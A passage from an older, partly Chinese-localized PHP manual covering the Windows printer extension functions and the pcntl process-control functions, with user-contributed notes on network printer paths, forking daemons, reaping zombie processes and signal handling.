As you can see var_dump (under variable functions in the manual) shows and/or retrieves the corrent information but if you try to place into a variable or read the variable it crashes either apache using php4apache.dll or php when you the command line client or cgi.

So as long as you do not get the comment or description it will list your printers.
add a note add a note

后退 | 起点 | 前进
printer_get_option | 上一级 | printer_logical_fontheight


printer_logical_fontheight

(PECL)

printer_logical_fontheight -- Get logical font height

Description

int printer_logical_fontheight ( resource handle, int height )

The function calculates the logical font height of height. handle must be a valid handle to a printer.

例子 1. printer_logical_fontheight() example

<?php
$handle = printer_open();
echo printer_logical_fontheight($handle, 72);
printer_close($handle);
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
printer_list | 上一级 | printer_open


printer_open

(PECL)

printer_open -- Open connection to a printer

Description

resource printer_open ( [string devicename] )

This function tries to open a connection to the printer devicename, and returns a handle on success or FALSE on failure.

If no parameter was given it tries to open a connection to the default printer (if not specified in php.ini as printer.default_printer, PHP tries to detect it).

printer_open() also starts a device context.

例子 1. printer_open() example

<?php
$handle = printer_open("HP Deskjet 930c");
$handle = printer_open();
?>

add a note add a note User Contributed Notes
denny at wardhana dot net
25-Nov-2005 12:06
The codes will only works if the printer attached to the server.
As far as I know, the client side printing by requesting data from server can be done by using javascript (ie. client side scripting) and/or XML

I wonder if there is the way to "php print" on the remote clients (such as Point of Sales)
philip
30-Mar-2005 06:39
This function may also return NULL on failure, instead of FALSE.
jt at jtis dot de
31-Aug-2004 06:39
Revision: Single quotes DO work, but with a triple slash, like
printer_open('\\\SERVERNAME\PRINTERNAME');

Weird.
jt at jtis dot de
31-Aug-2004 04:42
To the Editor's Note below:
It might be more efficient so use single quotes and might look nicer, but it does NOT work. (Not for me at least: Win 2K, Apache 1.3.27, PHP 5.0.1)
Error message says: "Printer \SERVERNAME\PRINTERNAME not found".

Using "\\\\SERVERNAME\\PRINTERNAME" does work perfectly and apart from the nanoseconds wasted for parsing the string I do not see why I should not use it. :-)
jasonlam_ at hotmail dot com
05-Jun-2003 07:22
[Editor's Note:]
You can use single quotes instead for two reasons:
 - PHP isn't parsing string in single quotes, so
   it's a bit resource friendly
 - No parsing, not needed to escape slashes

<?php
   $handle = printer_open('\\DOMAIN_NAME\Printer_Name');
?>
[/Note]

Connecting to Network Printers
<?php
   $handle = printer_open("\\\\DOMAIN_NAME\\Printer_Name");
?>
Similiar to how you would locate a domain on your network
you need to have 2 prefix slashes.  But as reminder
you need to escape it.  So really you need 4 slashes.  It
worked me. Hopefully this helps who is having problems
connecting to network printer.
csammis at iastate dot edu
01-May-2002 10:38
As stated on the index page for all the printer functions, these are supported under Win32 *only*...in fact, they're frontends API calls. I'd go ahead and say that they would probably never be ported to *nix because of the many various ways of handling printers. Windows, for all its faults, at least has a unified printing system.

As to editing the php.ini, try it with no path at all, like the first example here
k.fijalkowski(at)interia.pl
04-Feb-2002 12:06
Look your php.ini file and remark
extension=php_printer.dll
add a note add a note

后退 | 起点 | 前进
printer_logical_fontheight | 上一级 | printer_select_brush


printer_select_brush

(PECL)

printer_select_brush -- Select a brush

Description

void printer_select_brush ( resource printer_handle, resource brush_handle )

The function selects a brush as the active drawing object of the actual device context. A brush is used to fill shapes. If you draw an rectangle the brush is used to draw the shapes, while the pen is used to draw the border. If you haven't selected a brush before drawing shapes, the shape won't be filled. printer_handle must be a valid handle to a printer. brush_handle must be a valid handle to a brush.

例子 1. printer_select_brush() example

<?php
$handle = printer_open();
printer_start_doc($handle, "My Document");
printer_start_page($handle);

$pen = printer_create_pen(PRINTER_PEN_SOLID, 2, "000000");
printer_select_pen($handle, $pen);
$brush = printer_create_brush(PRINTER_BRUSH_CUSTOM, "c:\\brush.bmp");
printer_select_brush($handle, $brush);

printer_draw_rectangle($handle, 1, 1, 500, 500);

printer_delete_brush($brush);

$brush = printer_create_brush(PRINTER_BRUSH_SOLID, "000000");
printer_select_brush($handle, $brush);
printer_draw_rectangle($handle, 1, 501, 500, 1001);
printer_delete_brush($brush);

printer_delete_pen($pen);

printer_end_page($handle);
printer_end_doc($handle);
printer_close($handle);
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
printer_open | 上一级 | printer_select_font


printer_select_font

(PECL)

printer_select_font -- Select a font

Description

void printer_select_font ( resource printer_handle, resource font_handle )

The function selects a font to draw text. printer_handle must be a valid handle to a printer. font_handle must be a valid handle to a font.

例子 1. printer_select_font() example

<?php
$handle = printer_open();
printer_start_doc($handle, "My Document");
printer_start_page($handle);

$font = printer_create_font("Arial", 148, 76, PRINTER_FW_MEDIUM, false, false, false, -50);
printer_select_font($handle, $font);
printer_draw_text($handle, "PHP is simply cool", 40, 40);
printer_delete_font($font);

printer_end_page($handle);
printer_end_doc($handle);
printer_close($handle);
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
printer_select_brush | 上一级 | printer_select_pen


printer_select_pen

(PECL)

printer_select_pen -- Select a pen

Description

void printer_select_pen ( resource printer_handle, resource pen_handle )

The function selects a pen as the active drawing object of the actual device context. A pen is used to draw lines and curves. I.e. if you draw a single line the pen is used. If you draw an rectangle the pen is used to draw the borders, while the brush is used to fill the shape. If you haven't selected a pen before drawing shapes, the shape won't be outlined. printer_handle must be a valid handle to a printer. pen_handle must be a valid handle to a pen.

例子 1. printer_select_pen() example

<?php
$handle = printer_open();
printer_start_doc($handle, "My Document");
printer_start_page($handle);

$pen = printer_create_pen(PRINTER_PEN_SOLID, 30, "2222FF");
printer_select_pen($handle, $pen);

printer_draw_line($handle, 1, 60, 500, 60);

printer_delete_pen($pen);

printer_end_page($handle);
printer_end_doc($handle);
printer_close($handle);
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
printer_select_font | 上一级 | printer_set_option


printer_set_option

(PECL)

printer_set_option -- Configure the printer connection

Description

bool printer_set_option ( resource handle, int option, mixed value )

The function sets the following options for the current connection. handle must be a valid handle to a printer. For option can be one of the following constants:

  • PRINTER_COPIES: sets how many copies should be printed, value must be an integer.

  • PRINTER_MODE: specifies the type of data (text, raw or emf), value must be a string.

  • PRINTER_TITLE: specifies the name of the document, value must be a string.

  • PRINTER_ORIENTATION: specifies the orientation of the paper, value can be either PRINTER_ORIENTATION_PORTRAIT or PRINTER_ORIENTATION_LANDSCAPE

  • PRINTER_RESOLUTION_Y: specifies the y-resolution in DPI, value must be an integer.

  • PRINTER_RESOLUTION_X: specifies the x-resolution in DPI, value must be an integer.

  • PRINTER_PAPER_FORMAT: specifies a predefined paper format, set value to PRINTER_FORMAT_CUSTOM if you want to specify a custom format with PRINTER_PAPER_WIDTH and PRINTER_PAPER_LENGTH. value can be one of the following constants.

    • PRINTER_FORMAT_CUSTOM: let's you specify a custom paper format.

    • PRINTER_FORMAT_LETTER: specifies standard letter format (8 1/2- by 11-inches).

    • PRINTER_FORMAT_LETTER: specifies standard legal format (8 1/2- by 14-inches).

    • PRINTER_FORMAT_A3: specifies standard A3 format (297- by 420-millimeters).

    • PRINTER_FORMAT_A4: specifies standard A4 format (210- by 297-millimeters).

    • PRINTER_FORMAT_A5: specifies standard A5 format (148- by 210-millimeters).

    • PRINTER_FORMAT_B4: specifies standard B4 format (250- by 354-millimeters).

    • PRINTER_FORMAT_B5: specifies standard B5 format (182- by 257-millimeter).

    • PRINTER_FORMAT_FOLIO: specifies standard FOLIO format (8 1/2- by 13-inch).

  • PRINTER_PAPER_LENGTH: if PRINTER_PAPER_FORMAT is set to PRINTER_FORMAT_CUSTOM, PRINTER_PAPER_LENGTH specifies a custom paper length in mm, value must be an integer.

  • PRINTER_PAPER_WIDTH: if PRINTER_PAPER_FORMAT is set to PRINTER_FORMAT_CUSTOM, PRINTER_PAPER_WIDTH specifies a custom paper width in mm, value must be an integer.

  • PRINTER_SCALE: specifies the factor by which the printed output is to be scaled. the page size is scaled from the physical page size by a factor of scale/100. for example if you set the scale to 50, the output would be half of its original size. value must be an integer.

  • PRINTER_BACKGROUND_COLOR: specifies the background color for the actual device context, value must be a string containing the rgb information in hex format i.e. "005533".

  • PRINTER_TEXT_COLOR: specifies the text color for the actual device context, value must be a string containing the rgb information in hex format i.e. "005533".

  • PRINTER_TEXT_ALIGN: specifies the text alignment for the actual device context, value can be combined through OR'ing the following constants:

    • PRINTER_TA_BASELINE: text will be aligned at the base line.

    • PRINTER_TA_BOTTOM: text will be aligned at the bottom.

    • PRINTER_TA_TOP: text will be aligned at the top.

    • PRINTER_TA_CENTER: text will be aligned at the center.

    • PRINTER_TA_LEFT: text will be aligned at the left.

    • PRINTER_TA_RIGHT: text will be aligned at the right.

例子 1. printer_set_option() example

<?php
$handle = printer_open();
printer_set_option($handle, PRINTER_SCALE, 75);
printer_set_option($handle, PRINTER_TEXT_ALIGN, PRINTER_TA_LEFT);
printer_close($handle);
?>

add a note add a note User Contributed Notes
info at sima-pc dot com
20-Oct-2002 09:36
Warning :

PRINTER_FORMAT_LETTER = LETTER 8.5x11
PRINTER_FORMAT_LEGAL = LEGAL 8.5x14

If your printer uses custom paper size, printer_get_option will return an unpredictable code.
add a note add a note

后退 | 起点 | 前进
printer_select_pen | 上一级 | printer_start_doc


printer_start_doc

(PECL)

printer_start_doc -- Start a new document

Description

bool printer_start_doc ( resource handle [, string document] )

The function creates a new document in the printer spooler. A document can contain multiple pages, it's used to schedule the print job in the spooler. handle must be a valid handle to a printer. The optional parameter document can be used to set an alternative document name.

例子 1. printer_start_doc() example

<?php
$handle = printer_open();
printer_start_doc($handle, "My Document");
printer_start_page($handle);

printer_end_page($handle);
printer_end_doc($handle);
printer_close($handle);
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
printer_set_option | 上一级 | printer_start_page


printer_start_page

(PECL)

printer_start_page -- Start a new page

Description

bool printer_start_page ( resource handle )

The function creates a new page in the active document. For an example see printer_start_doc(). handle must be a valid handle to a printer.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
printer_start_doc | 上一级 | printer_write


printer_write

(PECL)

printer_write -- Write data to the printer

Description

bool printer_write ( resource handle, string content )

Writes content directly to the printer. 如果成功则返回 TRUE，失败则返回 FALSE。

handle must be a valid handle to a printer.

例子 1. printer_write() example

<?php
$handle = printer_open();
printer_write($handle, "Text to print");
printer_close($handle);
?>

add a note add a note User Contributed Notes
jt at jtis dot de
28-Sep-2004 07:47
To "statline" below:
Please read http://php.net/printer regarding the printer package _not_ being a part of PHP but a PECL extension and only working in a Windows environment.
You need to download and install the php_printer.dll!
steen_hansen at yahoo dot ca
15-Feb-2004 12:58
couldn't allocate the printerjob [1804] - error on windows 2000

I was printing in several places in one module, and kept getting this error after just two printer_write()'s.  It was solved by printing everything into a buffer first, then calling printer_write() just once.

EX:
  $_SESSION['PrintBuffer']='';        //printer buffer
  print_sub_1();
  print_sub_2();
  print_sub_3();

  $handle=printer_open("EPSON TM-T88III Receipt");
  printer_set_option($handle, PRINTER_MODE, "RAW");
  printer_write($handle, $_SESSION['PrintBuffer']);
//print $_SESSION['PrintBuffer'];        //for testing
  printer_close($handle);
a dot prenz at libero dot it
25-Jul-2002 09:17
If you need printer_write you must to change the datatype:
printer_set_option($handle, PRINTER_MODE, "RAW");
add a note add a note

后退 | 起点 | 前进
printer_start_page | 上一级 | Process Control Functions


Process Control Functions

PHP 手册
后退 前进

CXVI. Process Control Functions

简介

Process Control support in PHP implements the Unix style of process creation, program execution, signal handling and process termination. Process Control should not be enabled within a webserver environment and unexpected results may happen if any Process Control functions are used within a webserver environment.

This documentation is intended to explain the general usage of each of the Process Control functions. For detailed information about Unix process control you are encouraged to consult your systems documentation including fork(2), waitpid(2) and signal(2) or a comprehensive reference such as Advanced Programming in the UNIX Environment by W. Richard Stevens (Addison-Wesley).

PCNTL now uses ticks as the signal handle callback mechanism, which is much faster than the previous mechanism. This change follows the same semantics as using "user ticks". You use the declare() statement to specify the locations in your program where callbacks are allowed to occur. This allows you to minimize the overhead of handling asynchronous events. In the past, compiling PHP with pcntl enabled would always incur this overhead, whether or not your script actually used pcntl.

There is one adjustment that all pcntl scripts prior to PHP 4.3.0 must make for them to work which is to either to use declare() on a section where you wish to allow callbacks or to just enable it across the entire script using the new global syntax of declare().

注: 本扩展模块在 Windows 平台下不可用。

需求

要编译本扩展模块不需要外部库文件。

安装

Process Control support in PHP is not enabled by default. You have to compile the CGI or CLI version of PHP with --enable-pcntl configuration option when compiling PHP to enable Process Control support.

注: Currently, this module will not function on non-Unix platforms (Windows).

运行时配置

本扩展模块在 php.ini 中未定义任何配置选项。

资源类型

本扩展模块未定义任何资源类型。

预定义常量

The following list of signals are supported by the Process Control functions. Please see your systems signal(7) man page for details of the default behavior of these signals.

WNOHANG (integer)

WUNTRACED (integer)

SIG_IGN (integer)

SIG_DFL (integer)

SIG_ERR (integer)

SIGHUP (integer)

SIGINT (integer)

SIGQUIT (integer)

SIGILL (integer)

SIGTRAP (integer)

SIGABRT (integer)

SIGIOT (integer)

SIGBUS (integer)

SIGFPE (integer)

SIGKILL (integer)

SIGUSR1 (integer)

SIGSEGV (integer)

SIGUSR2 (integer)

SIGPIPE (integer)

SIGALRM (integer)

SIGTERM (integer)

SIGSTKFLT (integer)

SIGCLD (integer)

SIGCHLD (integer)

SIGCONT (integer)

SIGSTOP (integer)

SIGTSTP (integer)

SIGTTIN (integer)

SIGTTOU (integer)

SIGURG (integer)

SIGXCPU (integer)

SIGXFSZ (integer)

SIGVTALRM (integer)

SIGPROF (integer)

SIGWINCH (integer)

SIGPOLL (integer)

SIGIO (integer)

SIGPWR (integer)

SIGSYS (integer)

SIGBABY (integer)

范例

This example forks off a daemon process with a signal handler.

例子 1. Process Control Example

<?php
declare(ticks=1);

$pid = pcntl_fork();
if ($pid == -1) {
     die("could not fork");
} else if ($pid) {
     exit(); // we are the parent
} else {
     // we are the child
}

// detatch from the controlling terminal
if (!posix_setsid()) {
    die("could not detach from terminal");
}

// loop forever performing tasks
while (1) {

    // do something interesting here

}

function sig_handler($signo)
{

     switch ($signo) {
         case SIGTERM:
             // handle shutdown tasks
             exit;
             break;
         case SIGHUP:
             // handle restart tasks
             break;
         default:
             // handle all other signals
     }

}

// setup signal handlers
pcntl_signal(SIGTERM, "sig_handler");
pcntl_signal(SIGHUP, "sig_handler");

?>

参见

A look at the section about POSIX functions may be useful.

目录
pcntl_alarm -- Set an alarm clock for delivery of a signal
pcntl_exec -- Executes specified program in current process space
pcntl_fork -- Forks the currently running process
pcntl_getpriority -- Get the priority of any process
pcntl_setpriority -- Change the priority of any process
pcntl_signal -- Installs a signal handler
pcntl_wait -- Waits on or returns the status of a forked child
pcntl_waitpid -- Waits on or returns the status of a forked child
pcntl_wexitstatus -- Returns the return code of a terminated child
pcntl_wifexited -- Returns TRUE if status code represents a successful exit
pcntl_wifsignaled -- Returns TRUE if status code represents a termination due to a signal
pcntl_wifstopped -- Returns TRUE if child process is currently stopped
pcntl_wstopsig -- Returns the signal which caused the child to stop
pcntl_wtermsig -- Returns the signal which caused the child to terminate

add a note add a note User Contributed Notes
corychristison at lavacube dot com
03-Nov-2004 10:53
An easier way than what was first suggested in the first comment, to retrieve what signal your application is being sent would be to use get_defined_constants() to list all constants, loop through and strip out those that are not signals, and to check if it matches the value.

Here is my code for doing this, written for PHP5 only.
<?php

// php5 Specfic

function pcntl_sig_identify ( $sig_no ) {
   $get_constants = get_defined_constants(true);
   $pcntl_contstants = $get_constants["pcntl"];
   $keys = array_keys( $pcntl_contstants );
     foreach($keys as $key){
       if(strstr($key, "SIG") && !strstr($key, "_") && $pcntl_contstants[$key] == $sig_no){
     return $key;
   }
     } // end loop
} // end function pcntl_sig_identify

//
// This example will output "SIGTERM"
//

print pcntl_sig_identify(15) . "\n";

?>
andy at cbeyond dot net
21-Aug-2004 12:26
Suppose you want to fork off children to handle a few hundred different targets (like, say, SNMP polling, but that's just one example).  Since you don't want to fork-bomb yourself, here's one method of limiting the number of children you have in play at any one time:

#!/usr/bin/php -q
<?php
declare(ticks = 1);

$max=10;
$child=0;

// function for signal handler
function sig_handler($signo) {
  global $child;
  switch ($signo) {
   case SIGCHLD:
     echo "SIGCHLD received\n";
     $child -= 1;
  }
}

// install signal handler for dead kids
pcntl_signal(SIGCHLD, "sig_handler");

for ($i=1;$i<=20;$i++) {
       while ($child >= $max) {
               sleep(5); echo "\t Maximum children allowed\n";
               }
       $child++;
       $pid=pcntl_fork();
       if ($pid == -1) {
               die("could not fork");
       } else if ($pid) {
               // we are the parent
       } else {
               // we are the child
               echo "child number $i\n";
               // presumably doing something interesting
               sleep(15);
               exit;
       }
}
05-Dec-2003 07:52
in example 1, i found unless i create function sig_handler _BEFORE_ pcnt_signal, it wouldnt work.. and would just fall to the floor bleeding to death

(note for people having these kinda probs)
cameronNO_SPAM at tripdubdev dot com
19-Nov-2003 04:36
I'm currently working on some code for this, but in case I forget to come back to post to the board, or in case it takes me a while, why not just have a separate background job running (started up via the shell) that tracks which sockets are available to clients ?  Then all you'd have to do is communicate with the one job (or perhaps its own mini-server) run in the background that keeps an array of the available sockets for the server.  This seems the most natural alternative since PHP disclaims that process control functionality should not be used in a web-server environment.  I would hate to build a server, especially one with high traffic, that had to run through a loop in order to find an available socket.
luca dot mariano at email dot it
12-Nov-2003 10:49
Hi folks,
if someone uses PHP-CLI onWin32 and wants to experiment the PCNTL stuff, I've packed a binary version of PHP with built-in pcntl, shmop, sysvshm and other typical Unix extensions... (thanks to Cygwin DLLs).
Download it: http://phplet.sf.net/modules.php?name=Web_Links&l_op=visit&lid=4
jeremy at nirvani dot net
16-Oct-2003 11:54
#!/usr/local/bin/php -q
<?php

# Jeremy Brand <jeremy@nirvani.net>
# http://www.nirvani.net/

# ./configure --enable-pcntl --enable-sigchild
# make
# make install

# This code example shows how to use a script to do multiprocessing.  Each time
# this script is ran, the result is 5 (in this example) processes running to
# accomplish a specified task.

# Examples could be a messaging queue.  You could get the number of messages in
# a queue and handle any or all of them asynchronously.

# Get the number of children you want to be born by running this
# script once.
$children = 5; # likely a function call here.

for ($i=1; $i<=$children; $i++)
{

  $pid = pcntl_fork();
  if ($pid == -1)
  {
   die("could not fork\n");
  }
  else if ($pid)
  {
   # If we are the parent, we did our job of giving birth,
   # now lets finish our job and die!
   exit(0);
  }
  else
  {
   # Since we are the child, fork so that init will become our parent.  Init
   # is good at wait()ing on children - ie: reaping.
   $cpid = pcntl_fork();
   if ($cpid == -1)
   {
     die("could not fork in child process\n");
   }
   if (!$cpid)
   {
     # We have now forked off from our parent and also are not waiting on any
     # other children to process, however other children are running
     # simutaniously to us.  Make sure the code you write here is safe to run
     # in this environment of multiprocessing - ie: proper locking, etc.
     # Write the custom code here that you want to multiprocess.

     # ADD CODE HERE TO MULTIPROCESS
     print "we are child number $i\n";

     # Don't forget to exit after the child processing is done.  Certainly
     # change this exit code if you need to however.
     exit(0);
   }
  }
}

?>
David Koopman
15-Sep-2003 04:32
I had a hard time finding a complete example of using PHP as a multi-process (or multi-threaded - I don't understand the difference in these two terms) daemon using connection pooling.  I put pieces of the puzzle together and came up with the program below.  I hope it helps someone.  Notes about making this work:

1) I rebuilt PHP on my machine with these config options:
./configure --enable-sockets --enable-pcntl --enable-sigchild
make
make install

2) I have problems when tried to handle SIGTERM and SIGHUP myself, so I removed these from my code, don't use them unless you have a special need for this:
pcntl_signal(SIGTERM, "sig_handler");
pcntl_signal(SIGHUP, "sig_handler");

What I do is:
1. start the program, then fork to detach from the terminal (kill the parent and make the child the session leader).

2. bind to address and port and start listening.

3. fork $poolNum times, creating $poolNum children (this is the pool of daemons running.  The children handle the incoming connections).

4. keep the parent process running in a loop, constantly checking to see if it should create a new child.  It will always keep $poolNum spare children ready (as long as the total pooled connections doesn't exceed $maxDaemon).  As connections come in, more children are spawned.

5. When a new connection comes in, it is handed off to the first child.  This child then sends a SIGUSR1 signal back to the parent.  The parent has a signal handler for SIGUSR1, which will increment the $numActive variable by one.  The loop that is running (see 4 above) will note the increment in $numActive and automatically create a new child process to keep the process pool going.

I have to post the code in the next note, the note engine on this site won't allow such a long note to be posted, but I think this code example is well worth a comment on this...
schst at php dot net
01-Sep-2003 10:39
To get rid of the zombies when child processes terminate you do not have to write a lot of code that uses complex stuff like message queues.
Instead you only set a signal handler:

pcntl_signal(SIGCHLD, SIG_IGN);

Stephan
Patrice Levesque
15-Jun-2003 04:11
So, you want to create multiple child processes and don't want any zombies, don't you?

You can use IPC to achieve just that.  Every child that is spawned has to tell its parent that time has come for him to be terminated.  So, yes, zombies will be created, but once in a while the parent will 'clean up' after his kids.  Code:

<?php
  declare(ticks = 1);
  // create a IPC message queue
  $msgqueue = msg_get_queue(ftok("/tmp/php_msgqueue.stat", 'R'),0666 | IPC_CREAT);
  // loop for 1000 children
  for ($c = 0; $c < 1000; $c++) {
   // fork
   $pcid = pcntl_fork();
   if ($pcid == -1) {
     die("Could not fork!");
   }
   elseif ($pcid) { // we are the parent, look for zombie kids and terminate 'em
     // look in the IPC message queue if there are any entries
     $currentqueue = msg_stat_queue($msgqueue);
     $n = $currentqueue['msg_qnum']; // number of messages (number of kids to terminate)
     if ($n > 0) {
       echo "There are $n kids to terminate.\n";
       for ($i = 0; $i < $n; $i++) {
         // pop the kid's PID from the IPC message queue
         if (!msg_receive ($msgqueue, 1, $msg_type, 16384, $msg, true, 0, $msg_error)) {
           echo "MSG_RECV ERROR: $errmsg \n"; // something has gone wrong
         }
         else {
           pcntl_waitpid($msg, $tmpstat, 0); // terminate kid for real.
         };
       };
     };
   }
   else { // we are the child!
     if (!posix_setsid()) { die ("Could not detach"); }; // detach
     echo "I am child number $c\n";
     sleep(5); // do something useful
     // tell dad I'm finished via IPC: send him my PID
     if (!msg_send($msgqueue, 1, posix_getpid(), true, true, $errmsg)) {
       echo "MSG_SEND ERROR: $errmsg \n";
     };
     exit(); // become a zombie until dad kills me
   };
  };
?>
van[at]webfreshener[dot]com
11-Oct-2002 10:53
Forking your PHP daemon will cause it to zombie on exit.

...or so I've seen on:
FreeBSD (PHP4.2.x)
Debian (PHP4.3.0-dev)
Darwin (PHP4.3.0-dev)

This was tested with the example code above and other scripts created for evaluation.

Seems adding --enable-sigchild to your configure will get rid of the problem.

Hope that saves some hair tearing :]
keksov[at]gmx.de
30-May-2002 01:10
You have to use socket_select before socket_accept, so your code will wait for connection with select. socket_select can be interrupted by signals easily. Below is an example from my library (methods of class TNetSocket):
  //-- select
  function select($aread=NULL,$awrite=NULL,$aexcept=NULL,$timeout=NULL)
  {
   while(1)
   {
     $res="";
     $res=socket_select($aread, $awrite, $aexcept, $timeout);

     // if errno===0 it means what select was interrrupted by SysV signal
     if($res===false && socket_last_error($this->socket())!==0)
     { // error occured, interrupted not by a signal
       $this->set_socket_error(__LINE__);
       return(false);
     }
     break;
   }
   return(true);
  }

  //-- accept, wait for incomming connection
  function accept()
  {
   $this->clear_socket_error();
   $this->set_io_socket(_SOCKET_);

   $socket=$this->socket();
   $aread=array($socket);
   if ($this->select($a=&$aread)===false)
     return(false);

   $child_socket=socket_accept($this->socket);
   if($child_socket <= 0)
   { // error occured
     $this->set_socket_error(__LINE__);
     return(false);
   }

   $this->child_socket=$child_socket;
   $this->sockets[_CHILD_SOCKET_]=&$this->child_socket;
   $this->set_io_socket(_CHILD_SOCKET_);

   $a=&$this->peername;
   $res=socket_getpeername($child_socket,$a);

   if($res <= 0)
   { // error occured
     $this->set_socket_error(__LINE__);
     return(false);
   }

   $this->get_address_and_port(_CHILD_SOCKET_);
   TLogManager::phpserv("Connection accepted. ADDRESS $this->address, PORT $this->port","net_socket",__FILE__,__LINE__);

   $this->connected=true;
   return(true); // return new object of TNetSocket type
  }
daniel[at]lorch.cc
28-Feb-2002 07:48
This piece of code helped me to find out what signals are being sent to my process:

function sig_identify($signo) {
  switch($signo) {
   case SIGFPE:    return 'SIGFPE';
   case SIGSTOP:  return 'SIGSTOP';
   case SIGHUP:    return 'SIGHUP';
   case SIGINT:    return 'SIGINT';
   case SIGQUIT:  return 'SIGQUIT';
   case SIGILL:    return 'SIGILL';
   case SIGTRAP:  return 'SIGTRAP';
   case SIGABRT:  return 'SIGABRT';
   case SIGIOT:    return 'SIGIOT';
   case SIGBUS:    return 'SIGBUS';
   case SIGPOLL:  return 'SIGPOLL';
   case SIGSYS:    return 'SIGSYS';
   case SIGCONT:  return 'SIGCONT';
   case SIGUSR1:  return 'SIGUSR1';
   case SIGUSR2:  return 'SIGUSR2';
   case SIGSEGV:  return 'SIGSEGV';
   case SIGPIPE:  return 'SIGPIPE';
   case SIGALRM:  return 'SIGALRM';
   case SIGTERM:  return 'SIGTERM';
   case SIGSTKFLT: return 'SIGSTKFLT';
   case SIGCHLD:  return 'SIGCHLD';
   case SIGCLD:    return 'SIGCLD';
   case SIGIO:    return 'SIGIO';
   case SIGKILL:  return 'SIGKILL';
   case SIGTSTP:  return 'SIGTSTP';
   case SIGTTIN:  return 'SIGTTIN';
   case SIGTTOU:  return 'SIGTTOU';
   case SIGURG:    return 'SIGURG';
   case SIGXCPU:  return 'SIGXCPU';
   case SIGXFSZ:  return 'SIGXFSZ';
   case SIGVTALRM: return 'SIGVTALRM';
   case SIGPROF:  return 'SIGPROF';
   case SIGWINCH:  return 'SIGWINCH';
   case SIGPWR:    return 'SIGPWR';
  }
}

function sig_handler($signo) {
  echo "Caught " . sig_identify($signo) . " (" . $signo  . ") on " . posix_getpid() . "\n";
}

pcntl_signal(SIGFPE, "sig_handler");
pcntl_signal(SIGHUP, "sig_handler");
// pcntl_signal(SIGINT, "sig_handler");
pcntl_signal(SIGQUIT, "sig_handler");
pcntl_signal(SIGILL, "sig_handler");
pcntl_signal(SIGTRAP, "sig_handler");
pcntl_signal(SIGABRT, "sig_handler");
pcntl_signal(SIGIOT, "sig_handler");
pcntl_signal(SIGBUS, "sig_handler");
pcntl_signal(SIGPOLL, "sig_handler");
pcntl_signal(SIGSYS, "sig_handler");
pcntl_signal(SIGCONT, "sig_handler");
pcntl_signal(SIGUSR1, "sig_handler");
pcntl_signal(SIGUSR2, "sig_handler");
pcntl_signal(SIGSEGV, "sig_handler");
pcntl_signal(SIGPIPE, "sig_handler");
pcntl_signal(SIGALRM, "sig_handler");
pcntl_signal(SIGTERM, "sig_handler");
pcntl_signal(SIGSTKFLT, "sig_handler");
pcntl_signal(SIGCHLD, "sig_handler");
pcntl_signal(SIGCLD, "sig_handler");
pcntl_signal(SIGIO, "sig_handler");
pcntl_signal(SIGTSTP, "sig_handler");
pcntl_signal(SIGTTIN, "sig_handler");
pcntl_signal(SIGTTOU, "sig_handler");
pcntl_signal(SIGURG, "sig_handler");
pcntl_signal(SIGXCPU, "sig_handler");
pcntl_signal(SIGXFSZ, "sig_handler");
pcntl_signal(SIGVTALRM, "sig_handler");
pcntl_signal(SIGPROF, "sig_handler");
pcntl_signal(SIGWINCH, "sig_handler");
pcntl_signal(SIGPWR, "sig_handler");

I commented out SIGNIT, as it is the signal which is sent to your process when you press CTRL-C. If you catch this signal, you must handle it properly:

function sig_handler($signo) {
  switch($signo) {
   case SIGINT:
     // customized cleanup code
     exit; // now exit
     break;
  }
}

Otherwise the only possibility to stop your process is by sending a SIGKILL signal - you can do this on the shell by typing "kill -9 PID" (where -9 is the numerical value for SIGKILL).

Note: You cannot add a handler (i.e. ignore signals) for SIGSTOP and SIGKILL - for obvious reasons.
add a note add a note

后退 | 起点 | 前进
printer_write | 上一级 | pcntl_alarm


pcntl_alarm

(PHP 4 >= 4.3.0, PHP 5)

pcntl_alarm -- Set an alarm clock for delivery of a signal

Description

int pcntl_alarm ( int seconds )

The pcntl_alarm() function creates a timer that will send a SIGALRM signal to the process after seconds seconds. If seconds is zero, no new alarm is created. Any call to pcntl_alarm() will cancel any previously set alarm.

pcntl_alarm() will return the time in seconds that any previously scheduled alarm had remaining before it was to be delivered, or 0 if there was no previously scheduled alarm.

add a note add a note User Contributed Notes
j at ukr-info dot net
20-Oct-2005 07:51
<?php
   declare(ticks = 1);

   function signal_handler($signal) {
       print "Caught SIGALRM\n";
       pcntl_alarm(5);
   }

   pcntl_signal(SIGALRM, "signal_handler", true);
   pcntl_alarm(5);

   for(;;) {
   }

?>
add a note add a note

后退 | 起点 | 前进
Process Control Functions | 上一级 | pcntl_exec


pcntl_exec

(PHP 4 >= 4.2.0, PHP 5)

pcntl_exec -- Executes specified program in current process space

Description

void pcntl_exec ( string path [, array args [, array envs]] )

pcntl_exec() executes the program path with arguments args. path must be the path to a binary executable or a script with a valid path pointing to an executable in the shebang ( #!/usr/local/bin/perl for example) as the first line. See your system's man execve(2) page for additional information.

args is an array of argument strings passed to the program.

envs is an array of strings which are passed as environment to the program. The array is in the format of name => value, the key being the name of the environmental variable and the value being the value of that variable.

pcntl_exec() returns FALSE on error and does not return on success.

add a note add a note User Contributed Notes
michael dot ferre at mobileway dot com
20-Nov-2002 07:28
//To complete my last note
//If you use some object in your php code
//You will have some problem if you do a exit after include the
//child scripts
//You must use posix_kill() like that :

$CHILD_PID = pcntl_fork();
if($CHILD_PID == 0)
{
  include ($script_path);
  posix_kill(getmypid(),9);
}

//This code is very simple it can be ameliorate ;)
michael dot ferre at mobileway dot com
19-Nov-2002 08:19
//If you are in php version between 4.1 and 4.2
//When you use pcntl_fork and after you want use
//pcntl_exec, you can because pcntl_exec isn't used before
//php 4.2 so let me show a solution :

$CHILD_PID = pcntl_fork();
if($CHILD_PID == 0)
{
   include ($script_path);
   exit;
}

//$script_path is the  *.php page which you want lauch like
// a child .

//I don't know why php coder hadn't add  pcntl_exec in the
//same time that other function

//Michal F. php developer .
add a note add a note

后退 | 起点 | 前进
pcntl_alarm | 上一级 | pcntl_fork


pcntl_fork

(PHP 4 >= 4.1.0, PHP 5)

